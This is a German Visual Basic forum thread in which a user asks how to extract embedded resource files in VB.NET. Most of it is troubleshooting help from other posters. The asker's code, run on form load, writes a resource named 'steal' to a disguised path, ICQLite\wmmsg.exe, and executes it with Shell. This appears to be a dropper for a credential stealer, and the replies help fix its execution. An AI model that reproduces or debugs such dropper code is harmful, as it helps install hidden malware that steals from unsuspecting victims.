Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB.NET] Fragen - Antworten
Autor
Nachricht
treY.de
Newbie
Newbie

Anmeldedatum: 07.05.2008
Beiträge: 8

Resourcen Tutorial
Verfasst am: 26.05.2008, 21:50

Hey Leute

Kennt einer ein Tutorial auf Deutsch in dem erklärt wird, wie ich Dateien per Resourcequelle in VB.Net benutzen kann?

Wie ich die Daten da rein bekomme, weiß ich jetzt.
Aber ich weiß nicht, wie ich die daraus bekomme. In vb6 war es ja mit die resource in ein byte zu laden und dann per put auf die platte..Wie mach ich das mit .Net?
_________________
 
Marduk
Überflieger
Überflieger

Anmeldedatum: 16.04.2008
Beiträge: 374


Verfasst am: 26.05.2008, 22:27

Wenn du zb eine Exe Datei in deinen Ressourcen hast, kannst du folgenden Code verwenden.

Visual Basic: [code]
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim br As New IO.FileStream("text.exe", IO.FileMode.Create, IO.FileAccess.Write)
br.Write(My.Resources.name_der_ressource, 0, My.Resources.name_der_ressource.Length - 1)
br.Close()

End Sub
[/code]

Es kommt halt ganz drauf an, was für eine Datei du vorliegen hast. Bei einer Textdatei nimmst du dann zb einen StreamWriter. Hast du eine Bitmap, kannst du die Klassen-integrierte Speicher Funktion verwenden.

Also, viel schwerer ist es nicht wie VB6.
 
sollniss
Überflieger
Überflieger

Anmeldedatum: 01.05.2008
Beiträge: 699


Verfasst am: 27.05.2008, 17:16

man kann die dateien auch direkt abrufen, wenn du zB zur laufzeit das programmicon ändern willst, lädtst du vorher das neue icon als ress rein und denn einfach
form1.icon = My.Resources.neuesicon.ico
 
treY.de
Newbie
Newbie

Anmeldedatum: 07.05.2008
Beiträge: 8


Verfasst am: 27.05.2008, 19:47

Ja es geht um eine Exe entpacken und die muss dann per shell ausgeführt werden..soweit hab ich das auch geschafft...Aber wenn ich das in nen Ordner entpacken will, welcher nicht vorhanden ist, zeigt er mir nen Fehler an...Ich schreib das nochmal neu und dann edit:

Code:
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load<br /><br /><br />        Dim br As New IO.FileStream("C:ProgrammeICQLitewmmsg.exe", IO.FileMode.Create, IO.FileAccess.Write)<br />        br.Write(My.Resources.steal, 0, My.Resources.steal.Length - 1)<br />        br.Close()<br /><br />        Shell("C:ProgrammeICQLitewmmsg.exe")<br />    End Sub


Jetzt zeigt er an, dass die Datei nicht gefunden werden kann...
 
Marduk
Überflieger
Überflieger

Anmeldedatum: 16.04.2008
Beiträge: 374


Verfasst am: 27.05.2008, 20:29

In welcher Zeile zeigt er denn den Fehler an? bei "dim br as new ..." oder bei "Shell("...")" ?
Und hast du denn mal geguckt ob die Datei auch erstellt worden ist?
 
treY.de
Newbie
Newbie

Anmeldedatum: 07.05.2008
Beiträge: 8


Verfasst am: 27.05.2008, 20:32

Der Fehler ist in der Shell Zeile...Ja Datei wird erstellt...
_________________


 
Marduk
Überflieger
Überflieger

Anmeldedatum: 16.04.2008
Beiträge: 374


Verfasst am: 27.05.2008, 21:28


Probier mal erst in den Ordner zu wechseln, also mit c:, dann cd Programme dann cd ICQ ...
Und wenn du in dem Ordner bist, dann einfach Shell("wmmsg.exe")

Oder Shell("start pfad")
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB.NET] Fragen - Antworten

Tags: resource, vb6, tutorial, resourcen, bekomme

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge Wichtig: [B] Builder source vom Tutorial 3129 30.04.2008, 16:09
Keine neuen Beiträge Wichtig: [Tutorial] Typen 1211 01.03.2008, 09:04
Keine neuen Beiträge [Umfrage] Multi-tool [By Dylan] - Mit 8 Funktionen schaut rein ! ! ! 698 30.05.2009, 15:11
Keine neuen Beiträge VB 6.0 Tutorial(s) für Datenbank? 690 22.02.2008, 23:39
Keine neuen Beiträge [S] ZIG tutorial 542 09.02.2008, 08:31
 



[ Time: 0.3415s ][ Queries: 105 (0.0933s) ][ GZIP on - Debug on ]